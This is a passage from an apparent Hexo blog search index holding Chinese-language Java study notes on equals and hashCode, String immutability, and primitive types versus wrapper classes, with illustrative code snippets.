class="keyword">instanceof</span> List&lt;String&gt;) &#123;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JAVA </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>equals和hashCode的正确理解</title>
      <link href="//equals-he-hashcode-de-zheng-que-li-jie/"/>
      <url>//equals-he-hashcode-de-zheng-que-li-jie/</url>
      
        <content type="html"><![CDATA[<h1 id="equals和hashCode的正确理解"><a href="#equals和hashCode的正确理解" class="headerlink" title="equals和hashCode的正确理解"></a>equals和hashCode的正确理解</h1><p><code>equals()</code> 和 <code>hashCode()</code> 是 Java 对象比较的两个核心方法，它们的正确实现直接影响集合类的行为。本文从契约、实现到最佳实践进行全面梳理。</p><h2 id="Object-的默认实现"><a href="#Object-的默认实现" class="headerlink" title="Object 的默认实现"></a>Object 的默认实现</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 默认比较内存地址</span></span><br><span class="line"><span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">equals</span><span class="params">(Object obj)</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> (<span class="built_in">this</span> == obj);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 默认返回对象地址的哈希值</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">native</span> <span class="type">int</span> <span class="title function_">hashCode</span><span class="params">()</span>;</span><br></pre></td></tr></table></figure><h2 id="equals-重写规范"><a href="#equals-重写规范" class="headerlink" title="equals 重写规范"></a>equals 重写规范</h2><p>根据 Java 规范，<code>equals()</code> 必须满足以下特性：</p><ol><li><strong>自反性</strong>：<code>x.equals(x)</code> 必须为 true</li><li><strong>对称性</strong>：<code>x.equals(y)</code> == <code>y.equals(x)</code></li><li><strong>传递性</strong>：<code>x.equals(y)</code> &amp;&amp; <code>y.equals(z)</code> ⇒ <code>x.equals(z)</code></li><li><strong>一致性</strong>：多次调用结果不变</li><li><strong>非空性</strong>：<code>x.equals(null)</code> 必须为 false</li></ol><h2 id="hashCode-重写规范"><a href="#hashCode-重写规范" class="headerlink" title="hashCode 重写规范"></a>hashCode 重写规范</h2><ol><li><strong>一致性</strong>：同一对象多次调用返回相同值</li><li><strong>相等性</strong>：<code>equals()</code> 相等的对象，<code>hashCode()</code> 必须相等</li><li><strong>不相等性</strong>：<code>hashCode()</code> 不相等的对象，<code>equals()</code> 一定不相等</li></ol><h2 id="为什么必须同时重写"><a href="#为什么必须同时重写" class="headerlink" title="为什么必须同时重写"></a>为什么必须同时重写</h2><p><strong>如果只重写 equals，不重写 hashCode：</strong></p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Person</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> String name;</span><br><span class="line">    <span class="comment">// 只重写了equals，没重写hashCode</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">Person</span> <span class="variable">p1</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Person</span>(<span class="string">&quot;张三&quot;</span>);</span><br><span class="line"><span class="type">Person</span> <span class="variable">p2</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Person</span>(<span class="string">&quot;张三&quot;</span>);</span><br><span class="line"></span><br><span class="line">Set&lt;Person&gt; set = <span class="keyword">new</span> <span class="title class_">HashSet</span>&lt;&gt;();</span><br><span class="line">set.add(p1);</span><br><span class="line">set.add(p2);</span><br><span class="line"></span><br><span class="line">System.out.println(set.size());  <span class="comment">// 输出2！期望是1</span></span><br></pre></td></tr></table></figure><p>HashSet 先比较 hashCode，再比较 equals。hashCode 不同会直接认为是不同对象。</p><h2 id="IntelliJ-IDEA-自动生成"><a href="#IntelliJ-IDEA-自动生成" class="headerlink" title="IntelliJ IDEA 自动生成"></a>IntelliJ IDEA 自动生成</h2><p>现代 IDE 可以自动生成符合规范的方法：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Override</span></span><br><span class="line"><span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">equals</span><span class="params">(Object o)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (<span class="built_in">this</span> == o) <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">    <span class="keyword">if</span> (o == <span class="literal">null</span> || getClass() != o.getClass()) <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">    <span class="type">Person</span> <span class="variable">person</span> <span class="operator">=</span> (Person) o;</span><br><span class="line">    <span class="keyword">return</span> age == person.age &amp;&amp; Objects.equals(name, person.name);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Override</span></span><br><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">hashCode</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> Objects.hash(name, age);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="使用-Objects-equals-避免-NPE"><a href="#使用-Objects-equals-避免-NPE" class="headerlink" title="使用 Objects.equals 避免 NPE"></a>使用 Objects.equals 避免 NPE</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 可能抛出NullPointerException</span></span><br><span class="line"><span class="keyword">if</span> (str1.equals(str2)) &#123; ... &#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 安全写法</span></span><br><span class="line"><span class="keyword">if</span> (Objects.equals(str1, str2)) &#123; ... &#125;</span><br></pre></td></tr></table></figure><h2 id="可变对象的陷阱"><a href="#可变对象的陷阱" class="headerlink" title="可变对象的陷阱"></a>可变对象的陷阱</h2><p><strong>永远不要对可变对象使用自定义 equals/hashCode 作为 HashMap 的 Key：</strong></p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">BadKey</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> value;</span><br><span class="line">    <span class="comment">// equals和hashCode基于value</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">// 放入Map后修改value</span></span><br><span class="line">    map.put(key, <span class="string">&quot;data&quot;</span>);</span><br><span class="line">    key.setValue(<span class="number">100</span>);  <span class="comment">// hashCode变了！</span></span><br><span class="line">    </span><br><span class="line">    map.get(key);  <span class="comment">// 可能找不到！</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>解决方案</strong>：使用不可变对象作为 Key，如 String、Integer、自定义不可变类。</p><h2 id="Lombok-简化实现"><a href="#Lombok-简化实现" class="headerlink" title="Lombok 简化实现"></a>Lombok 简化实现</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Data</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">User</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> Long id;</span><br><span class="line">    <span class="keyword">private</span> String name;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// 自动生成equals、hashCode、toString等</span></span><br></pre></td></tr></table></figure><p>或使用 <code>@EqualsAndHashCode</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@EqualsAndHashCode(of = &#123;&quot;id&quot;, &quot;name&quot;&#125;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">User</span> &#123; ... &#125;</span><br></pre></td></tr></table></figure><h2 id="性能优化"><a href="#性能优化" class="headerlink" title="性能优化"></a>性能优化</h2><h3 id="缓存-hashCode"><a href="#缓存-hashCode" class="headerlink" title="缓存 hashCode"></a>缓存 hashCode</h3><p>对于频繁使用且计算成本高的对象：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CachedHashCode</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> hashCode;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">boolean</span> <span class="variable">hashCodeCalculated</span> <span class="operator">=</span> <span class="literal">false</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">hashCode</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (!hashCodeCalculated) &#123;</span><br><span class="line">            hashCode = Objects.hash(field1, field2);</span><br><span class="line">            hashCodeCalculated = <span class="literal">true</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> hashCode;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="选择关键字段"><a href="#选择关键字段" class="headerlink" title="选择关键字段"></a>选择关键字段</h3><p>equals 比较应该使用<strong>能够唯一标识对象的字段</strong>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 好：使用业务唯一键</span></span><br><span class="line"><span class="meta">@EqualsAndHashCode(of = &quot;userId&quot;)</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 差：包含所有字段，包括可能变化的字段</span></span><br><span class="line"><span class="meta">@EqualsAndHashCode(of = &#123;&quot;userId&quot;, &quot;lastLoginTime&quot;, &quot;status&quot;&#125;)</span></span><br></pre></td></tr></table></figure><h2 id="最佳实践检查清单"><a href="#最佳实践检查清单" class="headerlink" title="最佳实践检查清单"></a>最佳实践检查清单</h2><ul><li><input disabled="" type="checkbox"> 同时重写 equals 和 hashCode</li><li><input disabled="" type="checkbox"> 使用 IDE 自动生成而非手写</li><li><input disabled="" type="checkbox"> 使用 Objects.equals 进行空安全比较</li><li><input disabled="" type="checkbox"> 避免在可变对象上依赖 hashCode</li><li><input disabled="" type="checkbox"> 选择最小唯一字段集作为比较依据</li><li><input disabled="" type="checkbox"> 对于实体类，通常只用 id 字段</li></ul><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p><code>equals</code> 和 <code>hashCode</code> 的契约是 Java 集合框架正确工作的基石。理解并正确实现这两个方法，是每一位 Java 开发者的基本功。</p>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Java </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Java String 为什么设计成不可变</title>
      <link href="//java-string-wei-shi-me-she-ji-cheng-bu-ke-bian/"/>
      <url>//java-string-wei-shi-me-she-ji-cheng-bu-ke-bian/</url>
      
        <content type="html"><![CDATA[<h1 id="Java-String-为什么设计成不可变"><a href="#Java-String-为什么设计成不可变" class="headerlink" title="Java String 为什么设计成不可变"></a>Java String 为什么设计成不可变</h1><p>String 不可变是 Java 里非常重要的设计。它让字符串可以安全地放进常量池，也让 HashMap 这类结构能放心使用字符串作为 key。</p><h2 id="不可变是什么意思"><a href="#不可变是什么意思" class="headerlink" title="不可变是什么意思"></a>不可变是什么意思</h2><p>下面的代码看起来像修改了字符串：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">name</span> <span class="operator">=</span> <span class="string">&quot;java&quot;</span>;</span><br><span class="line">name = name + <span class="string">&quot;-blog&quot;</span>;</span><br></pre></td></tr></table></figure><p>实际上原来的 <code>java</code> 没有被修改，而是创建了新的字符串对象，再让 name 指向新对象。</p><h2 id="为什么这样设计"><a href="#为什么这样设计" class="headerlink" title="为什么这样设计"></a>为什么这样设计</h2><ul><li>线程安全：多个线程共享同一个字符串，不会互相改坏。</li><li>哈希稳定：字符串作为 Map 的 key 时，hashCode 不会因为内容变化而变化。</li><li>常量池复用：相同字面量可以复用，减少内存浪费。</li></ul><h2 id="什么时候用-StringBuilder"><a href="#什么时候用-StringBuilder" class="headerlink" title="什么时候用 StringBuilder"></a>什么时候用 StringBuilder</h2><p>循环拼接大量字符串时，不要一直用 <code>+</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">StringBuilder</span> <span class="variable">builder</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringBuilder</span>();</span><br><span class="line"><span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; <span class="number">1000</span>; i++) &#123;</span><br><span class="line">    builder.append(i).append(<span class="string">&#x27;,&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">String</span> <span class="variable">result</span> <span class="operator">=</span> builder.toString();</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JAVA </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>String为什么设计成不可变的</title>
      <link href="//string-wei-shi-me-she-ji-cheng-bu-ke-bian-de/"/>
      <url>//string-wei-shi-me-she-ji-cheng-bu-ke-bian-de/</url>
      
        <content type="html"><![CDATA[<h1 id="String为什么设计成不可变的"><a href="#String为什么设计成不可变的" class="headerlink" title="String为什么设计成不可变的"></a>String为什么设计成不可变的</h1><p>String 是 Java 中最常用的类之一，它的不可变性（immutability）是 Java 设计的核心决策。本文从多个维度解析这一设计背后的考量。</p><h2 id="什么是不可变性"><a href="#什么是不可变性" class="headerlink" title="什么是不可变性"></a>什么是不可变性</h2><p>String 对象一旦创建，其内容就不能被修改：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">s</span> <span class="operator">=</span> <span class="string">&quot;hello&quot;</span>;</span><br><span class="line">s = s + <span class="string">&quot; world&quot;</span>;  <span class="comment">// 创建了新的String对象，原对象未改变</span></span><br></pre></td></tr></table></figure><p>String 类被声明为 final，且内部字符数组也是 final：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">final</span> <span class="keyword">class</span> <span class="title class_">String</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">char</span>[] value;  <span class="comment">// JDK 8</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">byte</span>[] value;  <span class="comment">// JDK 9+，compact strings</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="原因一：字符串常量池"><a href="#原因一：字符串常量池" class="headerlink" title="原因一：字符串常量池"></a>原因一：字符串常量池</h2><p>不可变性使得字符串常量池（String Pool）成为可能：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">a</span> <span class="operator">=</span> <span class="string">&quot;java&quot;</span>;</span><br><span class="line"><span class="type">String</span> <span class="variable">b</span> <span class="operator">=</span> <span class="string">&quot;java&quot;</span>;</span><br><span class="line">System.out.println(a == b);  <span class="comment">// true，指向常量池同一对象</span></span><br></pre></td></tr></table></figure><p>如果 String 可变，常量池中的字符串被修改会影响所有引用，造成不可预期的行为。</p><h2 id="原因二：线程安全"><a href="#原因二：线程安全" class="headerlink" title="原因二：线程安全"></a>原因二：线程安全</h2><p>不可变对象天然线程安全，无需同步：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 多线程环境下安全共享</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">CONFIG_KEY</span> <span class="operator">=</span> <span class="string">&quot;app.config&quot;</span>;</span><br></pre></td></tr></table></figure><p>这对于高并发场景下的配置项、常量定义等非常重要。</p><h2 id="原因三：HashCode-缓存"><a href="#原因三：HashCode-缓存" class="headerlink" title="原因三：HashCode 缓存"></a>原因三：HashCode 缓存</h2><p>String 的 hashCode 在第一次计算后被缓存：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">private</span> <span class="type">int</span> hash;  <span class="comment">// 默认值0</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">hashCode</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">h</span> <span class="operator">=</span> hash;</span><br><span class="line">    <span class="keyword">if</span> (h == <span class="number">0</span> &amp;&amp; value.length &gt; <span class="number">0</span>) &#123;</span><br><span class="line">        <span class="comment">// 计算hash...</span></span><br><span class="line">        hash = h;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> h;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这使得 String 作为 HashMap 的 Key 时性能极高，是 HashMap 最常用的键类型。</p><h2 id="原因四：安全性"><a href="#原因四：安全性" class="headerlink" title="原因四：安全性"></a>原因四：安全性</h2><p>String 广泛用于网络连接、文件路径、权限检查等敏感场景：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 如果String可变，以下检查可被绕过</span></span><br><span class="line"><span class="keyword">void</span> <span class="title function_">connect</span><span class="params">(String host)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (!host.equals(<span class="string">&quot;safe.host.com&quot;</span>)) &#123;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">SecurityException</span>();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// 建立连接...</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>不可变性保证了安全检查后的值不会被篡改。</p><h2 id="原因五：性能优化"><a href="#原因五：性能优化" class="headerlink" title="原因五：性能优化"></a>原因五：性能优化</h2><p>JDK 9 引入 Compact Strings，使用 byte[] 替代 char[]：</p><ul><li>LATIN-1 编码（单字节）节省 50% 内存</li><li>UTF-16 编码（双字节）处理中文等字符</li></ul><p>不可变性使得这种内部优化可以安全地进行，而不会影响外部行为。</p><h2 id="常见误区"><a href="#常见误区" class="headerlink" title="常见误区"></a>常见误区</h2><h3 id="1-StringBuilder-vs-StringBuffer"><a href="#1-StringBuilder-vs-StringBuffer" class="headerlink" title="1. StringBuilder vs StringBuffer"></a>1. StringBuilder vs StringBuffer</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 单线程优先使用StringBuilder</span></span><br><span class="line"><span class="type">StringBuilder</span> <span class="variable">sb</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringBuilder</span>();</span><br><span class="line">sb.append(<span class="string">&quot;hello&quot;</span>).append(<span class="string">&quot; world&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 多线程使用StringBuffer（线程安全，但性能较低）</span></span><br><span class="line"><span class="type">StringBuffer</span> <span class="variable">sbf</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringBuffer</span>();</span><br></pre></td></tr></table></figure><h3 id="2-字符串拼接性能"><a href="#2-字符串拼接性能" class="headerlink" title="2. 字符串拼接性能"></a>2. 字符串拼接性能</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 编译期优化为StringBuilder</span></span><br><span class="line"><span class="type">String</span> <span class="variable">s</span> <span class="operator">=</span> <span class="string">&quot;a&quot;</span> + <span class="string">&quot;b&quot;</span> + <span class="string">&quot;c&quot;</span>;  <span class="comment">// 等效于 &quot;abc&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 循环中必须使用StringBuilder</span></span><br><span class="line"><span class="type">String</span> <span class="variable">result</span> <span class="operator">=</span> <span class="string">&quot;&quot;</span>;</span><br><span class="line"><span class="keyword">for</span> (String item : list) &#123;</span><br><span class="line">    result += item;  <span class="comment">// 每次循环创建新对象！</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="3-intern-方法"><a href="#3-intern-方法" class="headerlink" title="3. intern() 方法"></a>3. intern() 方法</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">s1</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">String</span>(<span class="string">&quot;hello&quot;</span>);</span><br><span class="line"><span class="type">String</span> <span class="variable">s2</span> <span class="operator">=</span> s1.intern();  <span class="comment">// 放入常量池并返回引用</span></span><br></pre></td></tr></table></figure><h2 id="最佳实践"><a href="#最佳实践" class="headerlink" title="最佳实践"></a>最佳实践</h2><ol><li><strong>比较用 equals</strong>：永远不要用 == 比较字符串内容</li><li><strong>拼接用 StringBuilder</strong>：循环或大量拼接场景</li><li><strong>适度使用 intern()</strong>：内存敏感但字符串重复率高时</li><li><strong>巧用 isEmpty() 和 isBlank()</strong>（Java 11+）</li></ol><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// Java 11+ 判断空白字符串</span></span><br><span class="line"><span class="keyword">if</span> (str.isBlank()) &#123; ... &#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 去除首尾空白（支持Unicode）</span></span><br><span class="line"><span class="type">String</span> <span class="variable">clean</span> <span class="operator">=</span> str.strip();</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>String 的不可变性是 Java 设计的精妙之处，它在安全性、线程安全、性能和功能之间取得了平衡。理解这一设计有助于写出更安全、更高效的代码。</p>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Java </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Java 中 equals 和 hashCode 的正确理解</title>
      <link href="//java-zhong-equals-he-hashcode-de-zheng-que-li-jie/"/>
      <url>//java-zhong-equals-he-hashcode-de-zheng-que-li-jie/</url>
      
        <content type="html"><![CDATA[<h1 id="Java-中-equals-和-hashCode-的正确理解"><a href="#Java-中-equals-和-hashCode-的正确理解" class="headerlink" title="Java 中 equals 和 hashCode 的正确理解"></a>Java 中 equals 和 hashCode 的正确理解</h1><p>Java 里判断对象是否相等，不能只看 <code>==</code>。<code>==</code> 比较的是引用地址，<code>equals</code> 通常表示业务意义上的相等。只要重写 <code>equals</code>，一般也要重写 <code>hashCode</code>，否则对象放进 HashMap、HashSet 这类集合后会出现很难排查的问题。</p><h2 id="一个最小例子"><a href="#一个最小例子" class="headerlink" title="一个最小例子"></a>一个最小例子</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">User</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> Long id;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">equals</span><span class="params">(Object o)</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (<span class="built_in">this</span> == o) <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">        <span class="keyword">if</span> (!(o <span class="keyword">instanceof</span> User)) <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">        <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> (User) o;</span><br><span class="line">        <span class="keyword">return</span> Objects.equals(id, user.id);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">hashCode</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> Objects.hash(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="为什么-hashCode-也要改"><a href="#为什么-hashCode-也要改" class="headerlink" title="为什么 hashCode 也要改"></a>为什么 hashCode 也要改</h2><p>HashSet 判断元素是否重复时，会先看 hashCode，再看 equals。如果两个对象 equals 相等，但 hashCode 不一样，它们可能会被放到不同桶里，集合就会认为它们不是同一个对象。</p><h2 id="验证方式"><a href="#验证方式" class="headerlink" title="验证方式"></a>验证方式</h2><p>写一个简单测试：创建两个 id 相同的 User，放进 HashSet，最后 size 应该是 1。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Set&lt;User&gt; users = <span class="keyword">new</span> <span class="title class_">HashSet</span>&lt;&gt;();</span><br><span class="line">users.add(<span class="keyword">new</span> <span class="title class_">User</span>(<span class="number">1L</span>));</span><br><span class="line">users.add(<span class="keyword">new</span> <span class="title class_">User</span>(<span class="number">1L</span>));</span><br><span class="line">System.out.println(users.size()); <span class="comment">// 期望输出 1</span></span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JAVA </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Java数据类型与包装类的深度理解</title>
      <link href="//java-shu-ju-lei-xing-yu-bao-zhuang-lei-de-shen-du-li-jie/"/>
      <url>//java-shu-ju-lei-xing-yu-bao-zhuang-lei-de-shen-du-li-jie/</url>
      
        <content type="html"><![CDATA[<h1 id="Java数据类型与包装类的深度理解"><a href="#Java数据类型与包装类的深度理解" class="headerlink" title="Java数据类型与包装类的深度理解"></a>Java数据类型与包装类的深度理解</h1><p>Java 的类型系统分为两大类：基本数据类型（primitive types）和引用数据类型（reference types）。本文从实际开发角度出发，深入探讨基本类型与包装类的关系、常见问题以及最佳实践。</p><h2 id="基本数据类型概览"><a href="#基本数据类型概览" class="headerlink" title="基本数据类型概览"></a>基本数据类型概览</h2><p>Java 有 8 种基本数据类型：</p><table><thead><tr><th>类型</th><th>位数</th><th>默认值</th><th>包装类</th></tr></thead><tbody><tr><td>byte</td><td>8</td><td>0</td><td>Byte</td></tr><tr><td>short</td><td>16</td><td>0</td><td>Short</td></tr><tr><td>int</td><td>32</td><td>0</td><td>Integer</td></tr><tr><td>long</td><td>64</td><td>0</td><td>Long</td></tr><tr><td>float</td><td>32</td><td>0.0f</td><td>Float</td></tr><tr><td>double</td><td>64</td><td>0.0d</td><td>Double</td></tr><tr><td>char</td><td>16</td><td>‘\u0000’</td><td>Character</td></tr><tr><td>boolean</td><td>1</td><td>false</td><td>Boolean</td></tr></tbody></table><h2 id="为什么需要包装类"><a href="#为什么需要包装类" class="headerlink" title="为什么需要包装类"></a>为什么需要包装类</h2><ol><li><strong>泛型支持</strong>：泛型不支持基本类型，只能使用包装类</li><li><strong>集合框架</strong>：ArrayList<Integer> 而非 ArrayList<int></li><li><strong>方法参数</strong>：某些方法要求对象类型参数</li><li><strong>默认值</strong>：包装类默认值为 null，可以表示”未赋值”状态</li></ol><h2 id="自动装箱与拆箱"><a href="#自动装箱与拆箱" class="headerlink" title="自动装箱与拆箱"></a>自动装箱与拆箱</h2><p>JDK 5 引入自动装箱（autoboxing）和拆箱（unboxing）：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 自动装箱</span></span><br><span class="line"><span class="type">Integer</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">100</span>;  <span class="comment">// 等价于 Integer.valueOf(100)</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 自动拆箱</span></span><br><span class="line"><span class="type">int</span> <span class="variable">n</span> <span class="operator">=</span> i;        <span class="comment">// 等价于 i.intValue()</span></span><br></pre></td></tr></table></figure><h3 id="常见问题"><a href="#常见问题" class="headerlink" title="常见问题"></a>常见问题</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">Integer</span> <span class="variable">a</span> <span class="operator">=</span> <span class="number">100</span>;</span><br><span class="line"><span class="type">Integer</span> <span class="variable">b</span> <span class="operator">=</span> <span class="number">100</span>;</span><br><span class="line">System.out.println(a == b);  <span class="comment">// true，缓存机制</span></span><br><span class="line"></span><br><span class="line"><span class="type">Integer</span> <span class="variable">c</span> <span class="operator">=</span> <span class="number">200</span>;</span><br><span class="line"><span class="type">Integer</span> <span class="variable">d</span> <span class="operator">=</span> <span class="number">200</span>;</span><br><span class="line">System.out.println(c == d);  <span class="comment">// false，超出缓存范围</span></span><br></pre></td></tr></table></figure><h2 id="Integer-缓存机制"><a href="#Integer-缓存机制" class="headerlink" title="Integer 缓存机制"></a>Integer 缓存机制</h2><p>Integer 内部维护了一个缓存数组，默认缓存范围是 <strong>-128 到 127</strong>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> Integer <span class="title function_">valueOf</span><span class="params">(<span class="type">int</span> i)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (i &gt;= IntegerCache.low &amp;&amp; i &lt;= IntegerCache.high)</span><br><span class="line">        <span class="keyword">return</span> IntegerCache.cache[i + (-IntegerCache.low)];</span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">Integer</span>(i);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>通过 <code>-XX:AutoBoxCacheMax=&lt;size&gt;</code> 可以调整缓存上限。</p><h2 id="equals-与-的区别"><a href="#equals-与-的区别" class="headerlink" title="equals 与 == 的区别"></a>equals 与 == 的区别</h2><table><thead><tr><th>比较方式</th><th>说明</th></tr></thead><tbody><tr><td>==</td><td>比较对象的内存地址</td></tr><tr><td>equals</td><td>Integer 已重写，比较数值</td></tr></tbody></table><p><strong>最佳实践</strong>：包装类比较一律使用 equals：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">Integer</span> <span class="variable">x</span> <span class="operator">=</span> <span class="number">200</span>;</span><br><span class="line"><span class="type">Integer</span> <span class="variable">y</span> <span class="operator">=</span> <span class="number">200</span>;</span><br><span class="line">System.out.println(x.equals(y));  <span class="comment">// true，推荐</span></span><br></pre></td></tr></table></figure><h2 id="空指针风险"><a href="#空指针风险" class="headerlink" title="空指针风险"></a>空指针风险</h2><p>拆箱时如果包装类为 null，会抛出 NullPointerException：</p><figure class="highlight 